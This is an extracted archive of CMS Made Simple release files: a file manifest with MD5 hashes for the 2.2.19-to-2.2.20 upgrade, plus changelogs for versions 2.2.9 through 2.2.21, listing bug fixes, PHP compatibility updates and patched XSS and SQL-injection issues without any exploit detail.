- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Minor change to the help ($node->children_exist)

Search v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

News v2.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Fix problem with custom fields not being assigned in fesubmit.
- Fix minor problem with html entities in the detail template parameter.

FileManager v1.5.1
- Fix minor problem with Smarty scope in the drop zone.


Version 2.0 - Australia
----------------------------------
+++ Initial Release +++
MANIFEST.DAT                                                                                        0000666                 00000033476 14614503770 0006334 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       MANIFEST GENERATED: 1714587640
MANIFEST FROM VERSION: 2.2.19
MANIFEST FROM NAME: Selkirk
MANIFEST TO VERSION: 2.2.20
MANIFEST TO NAME: Saguenay
ADDED :: 9690ae59cf5e805f738ad98fd019aed1 :: lib\functions\compat.functions.php
ADDED :: ecff247619854fdbc6ca374155000b9c :: lib\functions\content.functions.php
ADDED :: 176c903ee4f1a2da8af858ed041e8008 :: lib\functions\misc.functions.php
ADDED :: 540016eb5f2de3afdd85316600573344 :: lib\functions\module.functions.php
ADDED :: 8b2da4a762671fb05a4ac44924ffc86d :: lib\functions\page.functions.php
ADDED :: 8702da7900f126e3641bf6fc84e368e9 :: lib\functions\test.functions.php
ADDED :: b8180d20773c187c05d18388ef9f671b :: lib\functions\translation.functions.php
ADDED :: c6aa5a39198317079f4d73e5a0aae9dd :: lib\smarty\functions.php
ADDED :: fcd3239cf46c54619c6b2dd7b5e9b675 :: lib\smarty\plugins\modifier.count.php
ADDED :: 35c1bf1cdd540acce7c855b886a8797f :: lib\smarty\plugins\modifier.implode.php
ADDED :: d7739840a38a9914580d196a3f459031 :: lib\smarty\plugins\modifiercompiler.json_encode.php
ADDED :: 4659121c8d8af399a8294b6b7f905e74 :: lib\smarty\plugins\modifiercompiler.nl2br.php
ADDED :: 27caac0e5c6e1c7f953828d913a32059 :: lib\smarty\plugins\modifiercompiler.round.php
ADDED :: ebcec48b98c5b20538a51ed99cfc2361 :: lib\smarty\plugins\modifiercompiler.strlen.php
ADDED :: 4090b924c921a720e343107cc7e02cc9 :: lib\smarty\plugins\modifiercompiler.str_repeat.php
ADDED :: 497b5e7753e99055c494757f1e7f0293 :: lib\smarty\plugins\modifiercompiler.substr.php
ADDED :: af86f0b2ef537ad871644ac991500277 :: modules\CMSContentManager\moduleinfo.ini
ADDED :: c6e7afefea308aec9b4b42876269fc07 :: modules\CmsJobManager\moduleinfo.ini
ADDED :: 8a8242250cbaf2f42150cfb33cbcc73d :: modules\DesignManager\moduleinfo.ini
ADDED :: c3f33792f2defdaa8c66cb5901120811 :: modules\FileManager\moduleinfo.ini
ADDED :: 212639d0c59e98ef3b9ca5d01d1bfaac :: modules\FilePicker\lang\ext\de_DE.php
ADDED :: 39810c46d01e7373aa03ca32a1b53e03 :: modules\FilePicker\moduleinfo.ini
ADDED :: 7954d651db8d65e4cc23aad97ea5bfeb :: modules\Navigator\moduleinfo.ini
ADDED :: db11b93cc53c3ca0d14b2ae22d5b3341 :: modules\News\moduleinfo.ini
ADDED :: eeced6f99d1965303930b799bac369c6 :: modules\UserGuide\action.admin_settings.php
ADDED :: b153799c94dd289db629f423df1df4e7 :: modules\UserGuide\action.default.php
ADDED :: ccb37efe6348dd34279957478acdf05c :: modules\UserGuide\action.defaultadmin.php
ADDED :: c7c8e2a7dcd9e45e06ceeb283985ab70 :: modules\UserGuide\action.delete_page.php
ADDED :: c681ba4324b081fc449534fa1f00234c :: modules\UserGuide\action.edit_page.php
ADDED :: 97bdf6b2a3f08d0dc8921b6440b19fb7 :: modules\UserGuide\action.reorder_page.php
ADDED :: 0675968c55a220664f22bc97d31fd0a6 :: modules\UserGuide\action.toggle_active_page.php
ADDED :: 3f35896fd02acade5386ef52fca46ac5 :: modules\UserGuide\action.toggle_admin_only.php
ADDED :: 201eebd0619d047fdb507a5efa40b769 :: modules\UserGuide\lang\en_US.php
ADDED :: 99954435d1c456f8d956881e56896190 :: modules\UserGuide\lang\ext\de_DE.php
ADDED :: b2a7beedd0a6163144b54e85d2932f63 :: modules\UserGuide\lang\ext\fr_FR.php
ADDED :: 4345ad36545a282d857eaf4e926b313d :: modules\UserGuide\lang\ext\pt_PT.php
ADDED :: 1c9e51fa2b65970ba4d3596c2a50a8dd :: modules\UserGuide\lang\LICENCE.txt
ADDED :: 272bf611893d8a530a76eb110cd1b260 :: modules\UserGuide\lib\class.UserGuideImporterExporter.php
ADDED :: 39863e78fbb6ae2f32645d3a5f1e4594 :: modules\UserGuide\lib\class.UserGuideItem.php
ADDED :: 4b828079a7852eb089048407e9fad2e3 :: modules\UserGuide\lib\class.UserGuideQuery.php
ADDED :: e424b8728fc82edd3d42c786f74d6bc9 :: modules\UserGuide\lib\css\UserGuide_admin.css
ADDED :: 83d99a0bddbab645ec658bc3faa40d65 :: modules\UserGuide\lib\images\loading.gif
ADDED :: c89ca4afd2d7bea404f132e24fa0a021 :: modules\UserGuide\lib\js\UserGuide_admin.js
ADDED :: d48eb9d8737d57e2a6dcb89f0c1e57b6 :: modules\UserGuide\lib\userguide_default_content.xml
ADDED :: 78a964587ac1453eca758c94d7f711bf :: modules\UserGuide\method.install.php
ADDED :: 31462ab435b05473b2816df0d6c15c52 :: modules\UserGuide\method.uninstall.php
ADDED :: a551b7f2114b1a47180fc960c2df79b0 :: modules\UserGuide\method.upgrade.php
ADDED :: 0325558404bc757214e1f9c3d324a8cb :: modules\UserGuide\moduleinfo.ini
ADDED :: fca34ef360099caf9610116ce09cfcb9 :: modules\UserGuide\templates\admin_edit_page.tpl
ADDED :: 407663b7e1027984034b916ea2370a68 :: modules\UserGuide\templates\admin_settings.tpl
ADDED :: 8af193474c4a6d8f88e6b600de3d11f1 :: modules\UserGuide\templates\admin_user_guide_page.tpl
ADDED :: f7dd6283836fd8fb7b79b8a5d8aaf095 :: modules\UserGuide\UserGuide.module.php
DELETED :: 9690ae59cf5e805f738ad98fd019aed1 :: lib\compat.functions.php
DELETED :: 437cf393e6af1e1af974c2db39aef769 :: lib\content.functions.php
DELETED :: 81f19c46f063c7919f4cbed7f33511ef :: lib\misc.functions.php
DELETED :: 26383b1df50194b7676862af17e11b0d :: lib\module.functions.php
DELETED :: 4efa950ec4122380e8e3f01e8dec15a8 :: lib\page.functions.php
DELETED :: f3a2e3767ebf763b3d0e6e5d9999f318 :: lib\test.functions.php
DELETED :: ab9aa0cbba2aa6d90c46c0065e097c4f :: lib\translation.functions.php
DELETED :: 857387aa6e136db43447bbcfdb90455d :: modules\FileManager\icons\themes\default\extensions\16px\tmp.png
DELETED :: 857387aa6e136db43447bbcfdb90455d :: modules\FileManager\icons\themes\default\extensions\32px\tmp.png
CHANGED :: d983f44d978469ca278f9b261ab086b1 :: admin\checksum.php
CHANGED :: 29bc69c74b1c7a7a4b44cb328a1955af :: admin\editusertag.php
CHANGED :: 8b166d1fd3f65511ed6318932aac98c2 :: admin\index.php
CHANGED :: 89e95d28e3dadf730556d5679426559e :: admin\systeminfo.php
CHANGED :: 768200834eeeb016b1fbf75488f34762 :: admin\systemmaintenance.php
CHANGED :: e743ce33a84bcd0a0c0a4148d4169e1d :: doc\CHANGELOG.txt
CHANGED :: 1efd7529e0c25547d59361893fa4ceda :: lib\classes\Async\class.Job.php
CHANGED :: 8a2d4acbb2beb3ae394acaafc2580bef :: lib\classes\class.CmsAdminThemeBase.php
CHANGED :: b3fc74ec32feee82938a7b74eb6edd6f :: lib\classes\class.CmsApp.php
CHANGED :: 76d12285dfbe8925e37bc0cb8346e4e8 :: lib\classes\class.CmsException.php
CHANGED :: 2cf1ea58dcb0c6500862e5818106472a :: lib\classes\class.CMSModule.php
CHANGED :: c517f5c456cf8bb70658f76b0257c680 :: lib\classes\class.cms_http_request.php
CHANGED :: 28b51992a4c3184fddb7a3cdbf13a40a :: lib\classes\class.cms_utils.php
CHANGED :: 4c69807f944f582904dd0c1271636a03 :: lib\classes\class.ContentBase.php
CHANGED :: 96eb8f444dd8effc3336cc98390523b8 :: lib\classes\class.contentoperations.inc.php
CHANGED :: 000f10c2563d3716ecf15364689ca0ea :: lib\classes\class.moduleoperations.inc.php
CHANGED :: 305a87d9df0e1f56bad4c99eb15257e0 :: lib\classes\class.user.inc.php
CHANGED :: a7280b04b95591c1028a9d70b91842fd :: lib\classes\class.usertagoperations.inc.php
CHANGED :: 845873b9d037efbbe44627853b0b4b1a :: lib\classes\contenttypes\ErrorPage.inc.php
CHANGED :: 915e2278ba9fd5d4ee9e0da1ab70331f :: lib\classes\Database\class.Connection.php
CHANGED :: c649fc404a80173b6af0bfd4ecebf9a4 :: lib\classes\Database\class.ResultSet.php
CHANGED :: 701c3b56b0bf467cfe10e0355e32cb2c :: lib\classes\Database\mysqli\class.Connection.php
CHANGED :: 314d8ca204ff530a61e3cf64518c707c :: lib\classes\Database\mysqli\class.DataDictionary.php
CHANGED :: 02052a41e41a33fdb8d34ca56c908cb7 :: lib\classes\Database\mysqli\class.ResultSet.php
CHANGED :: cbecc6d1e1728b8ac7af7d8fd5cca376 :: lib\classes\Database\mysqli\class.Statement.php
CHANGED :: 0bf120475418a632d84981a92ab2f007 :: lib\classes\internal\class.CMSSmartyBase.php
CHANGED :: fef3c7049ca5f5d34a7be4233bac52a6 :: lib\classes\internal\class.CMSSmartySecurityPolicy.php
CHANGED :: 0427c3fc0e56183ec1f3a8845ec30bad :: lib\classes\internal\class.page_template_parser.php
CHANGED :: 0fa391654f2130e25ae24a7bc16dae65 :: lib\classes\internal\class.Smarty_CMS.php
CHANGED :: b6ebcd8c579d4fa76616d7ab58a8399e :: lib\classes\internal\class.Smarty_Parser.php
CHANGED :: 8353c53326b5de5c6068489ecc9daa26 :: lib\html_entity_decode_php4.php
CHANGED :: 38ae0d40358eb3c8b0215b00a3c25d2d :: lib\include.php
CHANGED :: 4b75f1ef521ebd62e1e6c1f87c8e2f72 :: lib\plugins\modifier.cms_escape.php
CHANGED :: 1d277cf8a959a35ac6dadc6fe4dfddbb :: lib\smarty\Autoloader.php
CHANGED :: fcd8eaf21157fc793206435be474484b :: lib\smarty\bootstrap.php
CHANGED :: 2ea3b6234de71d5b648d2e21e67ea78f :: lib\smarty\debug.tpl
CHANGED :: 76670320b43c8e82591428e2fd63e41b :: lib\smarty\plugins\function.math.php
CHANGED :: 8a84ac6672b3ba98fcee78b6666df968 :: lib\smarty\plugins\modifier.capitalize.php
CHANGED :: 99ccb65523261f824cbb6e787db7d0d0 :: lib\smarty\plugins\modifier.date_format.php
CHANGED :: 95b84e57e760fbe71205e8e1acbc58b6 :: lib\smarty\plugins\modifier.escape.php
CHANGED :: 02a922991bf711f7ee31f32b25a38b91 :: lib\smarty\plugins\modifier.truncate.php
CHANGED :: 6eeecb8ce3b81ef16d7921f01de9c6c9 :: lib\smarty\plugins\modifiercompiler.count_characters.php
CHANGED :: edaf00578802057f8809ee5da4d6ef6e :: lib\smarty\plugins\modifiercompiler.count_words.php
CHANGED :: b0a2876eedb9ce70b2c5743524f5a059 :: lib\smarty\plugins\modifiercompiler.escape.php
CHANGED :: f04f200dbbc1fc6f0b6ed02b8a4eaefa :: lib\smarty\plugins\modifiercompiler.lower.php
CHANGED :: 0f9a52863c152b689232698ff4a5dc43 :: lib\smarty\plugins\modifiercompiler.strip_tags.php
CHANGED :: 1f25638e34c76ef942836145c664f31f :: lib\smarty\plugins\modifiercompiler.unescape.php
CHANGED :: 1b8db63b91f40d2c3fb02df92de0f12c :: lib\smarty\plugins\modifiercompiler.upper.php
CHANGED :: abbe074ab4b042b22cf8ca5db00ce77e :: lib\smarty\plugins\outputfilter.trimwhitespace.php
CHANGED :: 647033fcba76d4ba47184d9928cf2517 :: lib\smarty\plugins\shared.escape_special_chars.php
CHANGED :: ef02b97802fbfb5e616bc75444059060 :: lib\smarty\plugins\variablefilter.htmlspecialchars.php
CHANGED :: 16a033e479e2276d3debdda81d6a61ea :: lib\smarty\Smarty.class.php
CHANGED :: 13f60fc544e77bcaf242e3c8e8aa73ac :: lib\smarty\sysplugins\smartycompilerexception.php
CHANGED :: e1937ad4791bdae5dfe82271f0af0fae :: lib\smarty\sysplugins\smarty_cacheresource.php
CHANGED :: 1cda2206fd50ba6910ecd6d0f516466a :: lib\smarty\sysplugins\smarty_cacheresource_keyvaluestore.php
CHANGED :: 6fcca2c82b907e0dca94c28b8f1479e4 :: lib\smarty\sysplugins\smarty_internal_compile_private_foreachsection.php
CHANGED :: def7d969260d6a5053a78b76697d7872 :: lib\smarty\sysplugins\smarty_internal_compile_private_modifier.php
CHANGED :: e2689193549ba8fc064c8b473151c783 :: lib\smarty\sysplugins\smarty_internal_compile_private_print_expression.php
CHANGED :: b2673d0a81bd2dbbceb3dd9cad600b2b :: lib\smarty\sysplugins\smarty_internal_compile_private_special_variable.php
CHANGED :: 0117610e68c61a5c084d30e003b3af45 :: lib\smarty\sysplugins\smarty_internal_debug.php
CHANGED :: 2178c776a06121e9fa447729e38640e9 :: lib\smarty\sysplugins\smarty_internal_errorhandler.php
CHANGED :: 89653576478821b38a7fd4d1c4dec88d :: lib\smarty\sysplugins\smarty_internal_extension_handler.php
CHANGED :: 1c079722d24b45d86461786cd1bc8acf :: lib\smarty\sysplugins\smarty_internal_method_loadplugin.php
CHANGED :: ee598b1e9ed44251cd410dfdb8f3b815 :: lib\smarty\sysplugins\smarty_internal_method_mustcompile.php
CHANGED :: 12f639194c4c710645b20054eb620cdb :: lib\smarty\sysplugins\smarty_internal_runtime_make_nocache.php
CHANGED :: c719a11d48eefd410121df6f2db5a6fe :: lib\smarty\sysplugins\smarty_internal_runtime_writefile.php
CHANGED :: 738953809a124478e2a0753054a75d2a :: lib\smarty\sysplugins\smarty_internal_template.php
CHANGED :: 5c2ad5b7823ecc0f3949e54b5f03a700 :: lib\smarty\sysplugins\smarty_internal_templatebase.php
CHANGED :: 5eec92918d15fb83dadc464842fcc135 :: lib\smarty\sysplugins\smarty_internal_templatecompilerbase.php
CHANGED :: 9f6dada09f2f9f49adcdb60f407cc458 :: lib\smarty\sysplugins\smarty_internal_templateparser.php
CHANGED :: 98d72f3b7738d0ea6a9ad1b34da1583c :: lib\smarty\sysplugins\smarty_internal_testinstall.php
CHANGED :: 41ef30edafda40f08788eee487ce11fd :: lib\smarty\sysplugins\smarty_resource.php
CHANGED :: 18f1a684c833f59f4ea8f7137396c857 :: lib\smarty\sysplugins\smarty_resource_custom.php
CHANGED :: 2fa1e0ed5a959eb0aad2af7bcfdfdaed :: lib\smarty\sysplugins\smarty_security.php
CHANGED :: ec5fc543938c780749b58829525d3fd3 :: lib\smarty\sysplugins\smarty_template_compiled.php
CHANGED :: 6556e27b09c593e2a1dc008e68de07cf :: lib\smarty\sysplugins\smarty_variable.php
CHANGED :: c6a0c8bc6d9ba2aebdc73b5d0a01f767 :: lib\tasks\class.ClearCache.task.php
CHANGED :: 7aff05eecc1c4fa4bacc01866934ddf6 :: lib\tasks\class.PruneAdminlog.task.php
CHANGED :: 632a0dcc267e445813745df5242c16d3 :: lib\tasks\class.ReduceAdminlog.task.php
CHANGED :: 9d0d770ee83b6bc3a950e9b30638aa43 :: lib\version.php
CHANGED :: 1f21b1a9ed5008d1317bfb5ca55eae02 :: modules\CMSContentManager\CMSContentManager.module.php
CHANGED :: 0307bb54bf735a7d054218b45d901b7e :: modules\CMSContentManager\templates\admin_editcontent.tpl
CHANGED :: 90e6f59190e46bc117b084a5d01e3131 :: modules\CmsJobManager\CmsJobManager.module.php
CHANGED :: 88f1c504ef8012590b1558d24a5074fa :: modules\DesignManager\DesignManager.module.php
CHANGED :: 6bc1070c646f8270ed445524c966f086 :: modules\DesignManager\lang\ext\de_DE.php
CHANGED :: f0bbd9f7a80ab3dac929f1a82b19c56b :: modules\DesignManager\lib\class.dm_reader_base.php
CHANGED :: d0c7be28585c99ac3f9faf8e5b221997 :: modules\FilePicker\action.filepicker.php
CHANGED :: f1e551fad9e7f78fefe722242d3b8494 :: modules\FilePicker\FilePicker.module.php
CHANGED :: de7d5f155d7801291a61d670ac8bc526 :: modules\MicroTiny\lib\class.microtiny_profile.php
CHANGED :: 40de539df339ce358a3cd81cc37f8508 :: modules\MicroTiny\lib\class.microtiny_utils.php
CHANGED :: 0d33f51e144747f720ef2eeae1db1055 :: modules\MicroTiny\MicroTiny.module.php
CHANGED :: 85191bdf2c719beae1c530064a720eb7 :: modules\MicroTiny\templates\tinymce_config.js
CHANGED :: c818ad31e4ef1fb734208e41bd9aa842 :: modules\ModuleManager\action.defaultadmin.php
CHANGED :: 8381fbf5d476dbd85445de0d7c9ff325 :: modules\Navigator\Navigator.module.php
CHANGED :: 9334d8fae2a40e5c34387a1be00fce3a :: modules\News\lib\class.DraftMessageAlert.php
CHANGED :: b55af3285d0a6e271ed61e6ef7aca539 :: modules\News\News.module.php
CHANGED :: e9b00882b663531d2c2ea413a4aad080 :: modules\Search\lang\ext\sv_SE.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Version 2.2.21 - Sherbrooke
-------------------------------

Core - General
 - Fixes BR 12714 inherited content Fields from a base templates are missing in child templates (backend edit);
 - Fixes BR 12713 Pages extended of a page base can't be edited, if they don't contain a {content} tag;
 - Fixes a typo in class ErrorPage: missing line break after #[\AllowDynamicProperties] directive;


 Version 2.2.20 - Saguenay
-------------------------------

Core - General
 - Compatibility fixes for PHP 8.2 and 8.3;
 - Smarty upgraded to version 4.5.2 (latest of the stable 4.5.x branch);
 - Made some changes to keep backward compatibility with previous versions of Smarty;
 - Fixed BR #12683: we now truncate the item_name at 50 characters;
 - Moved php files with functions to a specific folder tidying up for further changes;
 - Deprecated cms_html_entity_decode: scheduled to be removed; PHP native html_entity_decode now supports UTF-8 properly;
 - Fixed BRs #12677 and #12703: UDTs errors are now handled more gracefully - the error being triggered is shown on the popup;
 - News module is no longer mandatory;
 - New module added to core (UserGuide);
 - Installer now supports optional modules (News and UserGuide);
 - MenuManager is no longer installed back on upgrades;
 
Content Manager 1.1.13
 - Fixed a typo in admin_editcontent.tpl;
 
CmsJobManager 1.0.0
 - Considered a stable release, version is now 1.0.0;
 - Compatibility fixes for PHP 8.2 and 8.3;
 
DesignManager 1.1.11
 - Compatibility fixes for PHP 8.2 and 8.3;
 
FilePicker 1.0.8
 - BR #12671 - fix FilePicker prefix error;
  
MicroTiny 1.6.5
 - Compatibility fixes for PHP 8.2 and 8.3;
 - Removed mt_jsbool as it is not needed any longer and was breaking Smarty compatibility; 
 
Navigator 1.0.11
 - Compatibility fixes for PHP 8.2 and 8.3;

News 2.51.13
 - Compatibility fixes for PHP 8.2 and 8.3;
 - News is now an optional module, no longer installed by default;
 
UserGuide 1.0.0
 - Initial release;
 
Phar Installer Not SET
 - Compatibility fixes for PHP 8.2 and 8.3;
 - Supports core optional modules selection on advanced mode (currently News and UserGuide);
 - Modified Smarty 4.2.1 enough to work with PHP 8.3;
 - Regular Phar doesn't support Windows at this point while Expanded Phar does; 


Version 2.2.19 - Selkirk
-------------------------------

Core - General
 - BR #12647 - Wrong default action value in get_pageid_or_alias_from_url;
 - FR #12638 - ability to add CSP headers on the backend: currently weak restrictions: self with script-src and script-src-elem set to unsafe-inline (optionally set on config admin_csp_header);
 - BR #12661 - fix page_selector allow_all parameter and set default to false;
 
Content Manager 1.1.12
 - BR #12635 - Apply button is shown for non-existing page;
 - BR #12474 Taking the default page down by accident through the content type;

File Manager 1.6.16
 - BR #12659 - FileManager upload Warning bug fix;

FilePicker 1.0.7
 - BR #12621 - FilePicker upload bug;
 - BR #12659 - FilePicker upload Warning bug fix;

Navigator 1.0.10
 - BR #12528 Navigator call doesn't clear excluded prefixes in some situations

Version 2.2.18 - Apex
-------------------------------
Core - General
 - Fallback function CMSMS\strftime. PHP Intl extension still recommended. The fallback solves issues on hosts that don't install it by default and don't allow users to install it.

Version 2.2.17 - Iqaluit
-------------------------------
Core - General
 - BR #12529 - Cacheable Pages have Bad Header Last-Modified;
 - BR #12543 - Lib file corrections;
 - BR #12618 - HasChildren() is broken;
 - BR #12587 - can't uninstall modules;
 - Compatibility fixes for PHP 7, 8.0 and 8.1;
 - Smarty upgraded to version 4.2.1;
    Note: Smarty 2 syntax is still supported, but deprecated
 - Add function CMSMS\strftime to replace deprecated PHP function. PHP Intl extension recommended to support this.
 - Enabled use of PHP functions trim,ltrim,rtrim in smarty templates
 - PHPMailer upgraded to version 6.6.0.
 - fixes BR #12529 Cacheable Pages have Bad Header Last-Modified;
 - added module's support for arrays in parameters;
 - Fixes to cms_mailer class mainly in terms of proxy design pattern getters and setters and autotls settings;
 - Smarty security policies changes: due to some modifications in the way updated Smarty now behaves, all static classes need to be registered for its use to be allowed in templates.

Content Manager 1.1.10
 - Differentiate new page from cloned page.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Design Manager 1.1.10
 - BR #12545 - Module: DesignManager typo info on top file.
 - fixes typo BR #12545
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FilePicker 1.0.6
 - BR #12539 - Module FilePicker 1.0.5 files corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Module Manager 2.1.9
 - BR #12541 - Module ModuleManager 2.1.8 : corrections + compatible php 7.1.0 to 8.1.4.

News 2.51.12
 - BR #12543 - Lib file corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FileManager 1.6.13
- Compatibility fixes for PHP 7, 8.0 and 8.1.


Version 2.2.16 - Truro
-------------------------------
Core - General
  - BR #12370 - Admin Log-Download : now downloading the log honors all filters but doesn't process paging.
  - BR #12437 - Installer won't allow "<" symbol in database password.
  - BR #12457 - Event Manager empty list when mysql mode only_full_group_by.
  - BR #12484 - Cannot exit after Run UDT.
  - BR #12495 - MySQL 8.0.2+ breaks groups without table prefix.
  - BR #12499 - adminlog.tpl Wrongly formed date.
  - BR #12500 - NameQuote function does not work properly.
  - BR #12504 - Function call notification.
  - Fixed an issue with specific characters in a content block tab name breaking the editor.
  - Adjust regex's incompatible with PCRE2.
  - Avoid deprecated strftime() - deploy new replacement function locale_ftime() and new modifier-plugin localedate_format.
  - A number of fixes for PHP 8 compatibility.

Admin Search v1.0.6
  - BR #12443 - Admin Search fails on some searches with default mysql mode only_full_group_by (mysql 5.7.5+).
  - Removed license and copyright notices from module help text.
  - Escaping the search input field values.
  - More content object attributes are searched.
  - User Defined Tags can be searched.
  - Only places a user has permission to search are shown in the filter list (cached!).

Content Manager v1.1.9
  - Fix menu text/title setting.

FileManager v1.6.12
  - BR #12435 - Replacing an image file in filepicker doesn't update thumbnail.

FilePicker v1.0.5
  - FR #12483 - Additional FilePicker Help for usage as Content Block.

Navigator v1.0.9
  - BR #12456 - Navigator breadcrumbs with default page hidden from menu causes PHP notice.

Search v1.53
  - Added 'Manage Search' permission.
  - BR #12391 - Core search issue page/entry titles that start with numbers.
  
Phar Installer v1.3.15
  - Fixed BR #12437 - Installer won't allow "<" symbol in database password.
  - Added Russian lang file to installer.
  - use locale_ftime() instead of deprecated strftime().
  - escape name of groups table, to prevent reserved-word conflict when table-prefix is empty.
  - alterations to the links in final step: we now privilege links to CMSMS channels of contact and support.


Version 2.2.15 - Bonaventure
-------------------------------
Core - General
  - BR #12287 - Admin shortcuts popup refers to IRC.
  - BR #12292 - showbase parameter of metadata tag doesn't accept boolean value.
  - BR #12303 - No date displayed in the admin + category id not incremented.
  - BR #12305 - Removing actual Destination Page breaks Destination Page dropdown in Internal Page Link pages.
  - BR #12311 - log_performance_info - undefined variable: queries.
  - BR #12313 - 5 Stored XSS vulnerabilities in Settings - Content Manager.
  - BR #12317 - XSS on Settings News Module.
  - BR #12325 - Several XSS vulnerabilities.
  - BR #12335 - User pref admin homepage not properly displayed under certain conditions.
  - BR #12337 - GetContentBlockFieldInput $adding always false.
  - BR #12338 - Allow http/2 responses.
  - BR #12357 - Filepicker dropzone size issue.
  - FR #12345 - More user friendly admin session handling (partly implemented).
  - FR #12349 - Swap tabs on System Maintenance page.
  - Browsing to the main admin page in a new browser tab during a running session won't redirect to login form anymore.
  - (Error) messages in OneEleven won't dismiss on click.
  - Fix to Admin redirection after login on Windows platform.
  - Fix to the module API redirection to support arrays in parameters.

FileManager v1.6.12
  - Dropzone improvement like core FilePicker.

FilePicker v1.0.5
  - BR #11673 - FilePicker will not show svg images, when in the Content Manager.
  - BR #12312 - Stored XSS vulnerability in File Picker.

News v2.51.11
  - Minor code fix to encoding title content.
  - BR #12322 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12325 - Several XSS vulnerabilities.

Design Manager v1.1.9
  - Minor fixes for PHP warnings\notices.

Module Manager v2.1.8
  - BR #12291 - Reflected Cross site scripting.
  - BR #12324 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - Increased the Download Chunk Size field size to 4.

MicroTiny v2.2.5
  - BR #12351 - Escaping translation strings in tinymce_config.js.

Search v1.52
  - FR #11886 - Include module and modulerecord fields for content pages.

Phar Installer v1.3.13
  - Fixes to the reload button: now prevents browser's caching.
  - BR #11591 - fixed: Phar installer doesn't work with OPCache enabled.


Version 2.2.14 - T'Sou-ke
-------------------------------
Core - General
  - BR #12280 - Add Shortcut from Shortcuts modal broken.
  - Fixes to the class.CmsAdminThemeBase.php regarding main sections title and breadcrumbs generation.
  - Explicitly add function_exists and getimagesize functions to the allowed functions in PHP secure mode.
  - Improved Error Console template.
  - Site Prefs, remove submit confirmation.
  - System Maintenance, remove confirmation update page hierarchy positions and routes.
  - cms_http_request PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - Backend users, fixed the bulk actions.
  - BR #12172 - CronJobTrait undefined constants.
  - BR #12227 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12272 - Internal page link - selecting destination page problem.

AdminSearch v1.0.5
  - Remove click thru warning.

CMSContentManager v1.1.9
  - Fix notices in edit content template.
  - Fix notice in default admin view.

DesignManager v1.1.8
  - BR #12225 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

FileManager v1.6.11
  - Don’t disable advanced mode on upgrade.
  - Fix adding double // in site root link.
  - BR #12215 - FileManager 1.6.10 crashes when trying to rename a file.
  - BR #12224 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

News v2.51.9
  - Minor code fix.
  - Alert on unapproved articles disabled by default. Enable at Settings >> Options tab.
  - BR #12207 - Can't display image in news when using upload field.
  - BR #12228 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

Phar Installer v1.3.9
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - PHP 7.4 fix "Function get_magic_quotes_runtime() is deprecated".

Search v1.51.8
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".


Version 2.2.13 - Moosomin
-------------------------------
Core - General
   - Explicitly add a function or two to the allowed functions in PHP secure mode.

DesignManager v1.1.7
   - Fix a warning in PHP 7.3+.

FileManager v1.6.10
   - Fix minor XSS vulnerabilities in FileManager.

News v2.51.8
   - Fix a security issue in the default action with the idlist param.
   (This version was also separately released in the forge).


Version 2.2.12 - Osoyoos
-------------------------------
NOTICE: Due to the nature of the security issue fixed in FileManager after upgrading you should change your database password.

Core - General
  - Fix warning in cms_html_entity_decode.

FileManager v1.6.9.1
  - Security fixes for view action.


Version 2.2.11 - Vulcan
-------------------------------
Core - General
  - Fix minor bug in copying content objects.
  - Minor fix to array indexes when filling params in ContentBase.
  - Fix to the {cms_filepicker} plugin.
  - Minor fix to the 'my account' form.
  - Fix error in cmsms_filepicker.js encountered in LISE.
  - PHP 7.3 fix to DataDictionary::RenameColumnSQL.

CMSContentManager v1.1.8
  - Fix an issue with copying non-core content objects.
  - Minor fixes for php 7.3.

ModuleManager v2.1.7
  - Minor exception handling improvements.
  - Minor improvement to dependency detection with modules that do not exist in ModuleRepository.
  - Minor fixes for php 7.3.

News v2.51.6
  - Minor improvements for CMSMS v2.3 compatibility.

Phar Installer v1.3.8
  - Minor change to use include() instead of include_once()... not sure why.

FilePicker v1.0.4.1
  - Fix type error.

Search v1.51.7
  - Minor fixes for php 7.3.


Version 2.2.10 - Spuzzum
-------------------------------
Core - General
  - Fix minor potential authenticated object insertion vulnerability in changegroupperm.
  - Fix minor potential uncleaned input vulnerability in siteprefs.
  - Minor improvement to get_real_ip().
  - Fix to clearing cache in cms_filecache_driver.

News v2.51.5
  - Fix unauthenticated SQL injection vulnerability with the default action.

ModuleManager v2.1.6
  - Fix authenticated object insertion vulnerability in the installmodule action.
  - Improve ordering of the dependencies before installing or upgrading modules.
  - Adds more auditing, particularly in the cached request stuff.

FilePicker v1.0.4
  - Fix authenticated object insertion vulnerability.


Version 2.2.9.1
-------------------------------
Core - General
  - fix to the CmsLayoutStylesheetQuery class.
  - fix an edge case in the Database\Connection::DbTimeStamp() method.

MicroTiny v2.2.4
  - Minor fix in error displays.

Phar Installer v1.3.7
  - Fix to edge case in step 3 where memory_limit is set to -1.


Version 2.2.9 - Blow Me Down
-------------------------------
Core - General
  - PHP 7.2+ fixes.
  - Now do not call Module::InitializeAdmin() or Module::InitializeFrontend() if the module loading is being forced
    (as is the case sometimes within ModuleManager);
  - Minor changes and fixes to prevent warnings/notices in CLI based scripts.
  - Improvements to the {browser_lang} plugin.
  - Fixes a bug in the CmsLayoutTemplateQuery class.
  - Fixes a bug with the name= parameter in the {cms_stylesheet} plugin.
  - Fixes a minor issue in system information (smarty compilecheck).
  - Fixes a minor issue with the tabIndex and accesskey fields in edit content.
